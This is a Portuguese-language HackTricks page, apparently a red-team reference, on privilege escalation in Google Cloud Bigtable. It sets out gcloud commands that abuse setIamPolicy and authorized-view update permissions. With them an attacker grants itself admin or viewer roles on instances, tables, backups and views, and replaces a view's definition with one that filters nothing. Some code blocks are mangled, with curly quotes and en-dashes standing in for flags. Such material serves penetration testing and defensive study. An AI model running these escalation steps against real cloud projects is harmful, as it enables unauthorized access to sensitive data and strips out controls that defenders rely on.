GCP - Bigtable Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Bigtable

Para mais informaçÔes sobre Bigtable, consulte:

GCP - Bigtable Enum

bigtable.instances.setIamPolicy

PermissÔes: bigtable.instances.setIamPolicy (e normalmente bigtable.instances.getIamPolicy para ler os vínculos atuais).

Ser proprietĂĄrio da polĂ­tica IAM da instĂąncia permite que vocĂȘ se conceda roles/bigtable.admin (ou qualquer função personalizada), que se propaga para cada cluster, tabela, backup e visualização autorizada na instĂąncia.

Conceda a si mesmo a função bigtable.admin na instùncia ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ```

Tip

Se nĂŁo conseguir listar os bindings existentes, crie um novo documento de polĂ­tica e envie-o com gcloud bigtable instances set-iam-policy, desde que vocĂȘ mantenha sua prĂłpria entrada nele.

Depois de obter essa permissão, consulte a seção Bigtable Post Exploitation section para mais formas de abusar das permissÔes do Bigtable.

bigtable.tables.setIamPolicy

PermissÔes: bigtable.tables.setIamPolicy (opcionalmente bigtable.tables.getIamPolicy).

As polĂ­ticas de instĂąncia podem estar bloqueadas enquanto tabelas individuais sĂŁo delegadas. Se vocĂȘ puder editar o IAM da tabela, pode se promover a proprietĂĄrio do conjunto de dados alvo sem afetar outras cargas de trabalho.

Grant yourself bigtable.admin role on table ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ```

Depois de obter essa permissão, verifique na Bigtable Post Exploitation section as técnicas para mais maneiras de abusar das permissÔes do Bigtable.

bigtable.backups.setIamPolicy

PermissÔes: bigtable.backups.setIamPolicy

Backups podem ser restaurados para qualquer instĂąncia em qualquer projeto que vocĂȘ controle. Primeiro, conceda Ă  sua identidade acesso ao backup e, em seguida, restaure-o em um sandbox onde vocĂȘ possua funçÔes Admin/Owner.

Se vocĂȘ tem a permissĂŁo bigtable.backups.setIamPolicy, vocĂȘ pode conceder a si mesmo a permissĂŁo bigtable.backups.restore para restaurar backups antigos e tentar acessar informaçÔes sensĂ­veis.

Take ownership of backup snapshot ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ --instance= --cluster= \ --member='user:' \ --role='roles/bigtable.admin' ```

Depois de verificar essa permissĂŁo na Bigtable Post Exploitation section para ver como restaurar um backup.

Atualizar authorized view

PermissÔes: bigtable.authorizedViews.update

Authorized Views destinam-se a mascarar linhas/colunas. Modificå-las ou excluí-las removem as restriçÔes granulares nas quais os defensores confiam.

Atualizar authorized view para ampliar o acesso ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ --instance= --table= \ --definition-file=/tmp/permissive-view.json --ignore-warnings

Json example not filtering any row or column

cat <<‘EOF’ > /tmp/permissive-view.json { “subsetView”: { “rowPrefixes”: [“”], “familySubsets”: { “”: { “qualifierPrefixes”: [“”] } } } } EOF

Describe the authorized view to get a family name

gcloud bigtable authorized-views describe
–instance= –table=

</details>

Depois de obter essa permissĂŁo, consulte a [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver como ler de um Authorized View.

### `bigtable.authorizedViews.setIamPolicy`

**PermissÔes:**  `bigtable.authorizedViews.setIamPolicy`.

Um atacante com essa permissĂŁo pode conceder a si mesmo acesso a um Authorized View, que pode conter dados sensĂ­veis aos quais normalmente nĂŁo teria acesso.

<details><summary>Conceda a si mesmo acesso a um Authorized View</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'

Depois de ter essa verificação de permissão na Bigtable Post Exploitation section para verificar como ler a partir de uma visualização autorizada.

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks